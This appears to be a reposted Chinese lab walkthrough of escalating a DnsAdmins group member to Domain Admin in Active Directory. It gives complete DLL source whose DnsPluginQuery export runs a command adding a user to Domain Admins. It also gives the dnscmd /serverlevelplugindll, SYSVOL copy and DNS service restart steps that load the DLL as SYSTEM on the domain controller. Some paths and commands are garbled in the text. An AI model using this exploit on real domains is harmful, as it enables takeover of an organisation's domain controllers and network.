<返回更多

域内一个特权提升技巧

2021-10-22    IT影子
加入收藏

0x01.背景

实验利用DNS Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。
在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:windowssystem32dns.exe,创建Rpc接口,使用PIPEDNSSERVER命名管道进行传输。

DNS服务默认ACL 如下图:

域内一个特权提升技巧

 

DNS.exe 默认启动权限为NT AUTHORITYSYSTEM:

域内一个特权提升技巧

 

0x02、过程

0x0201 dll文件编译:

dll源码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。\#include "pch.h"Dword WINAPI DnsPluginInitialize(PVOID a1, PVOID a2){    return 0;}DWORD WINAPI DnsPluginCleanup(){    return 0;}DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4){    WinExec(".NET group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);    return 0;}BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

导出函数,Source.def文件:

EXPORTSDnsPluginInitializeDnsPluginCleanupDnsPluginQuery

编译后查看导出函数是否正确:

域内一个特权提升技巧

 

0x0202 特权提升:

首先找到Dnsadmins

net user sixth-hospital /domain
域内一个特权提升技巧

 

将dll 复制到sysvol

copy Dlldns.dll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts

使用当前用户列举AD c盘

dir \WIN-43QM2N9GRC4.hackhello.local\c$
域内一个特权提升技巧

 

执行dnscmd 配置调用dll

dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
域内一个特权提升技巧

 

此时查看dc注册表,已经配置好了dll路径。

reg query HKEY_LOCAL_macHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
域内一个特权提升技巧

 

重启dns

sc stop dnssc start dns
域内一个特权提升技巧

 

重启完服务后再执行net命令

net user sixth-hospital /domain
域内一个特权提升技巧

 

可以看到已经成功将Dnsadmins用户提升至域管理员权限

我们列下c盘符下文件

域内一个特权提升技巧

 

声明:本站部分内容来自互联网,如有版权侵犯或其他问题请与我们联系,我们将立即删除或处理。
▍相关推荐
更多资讯 >>>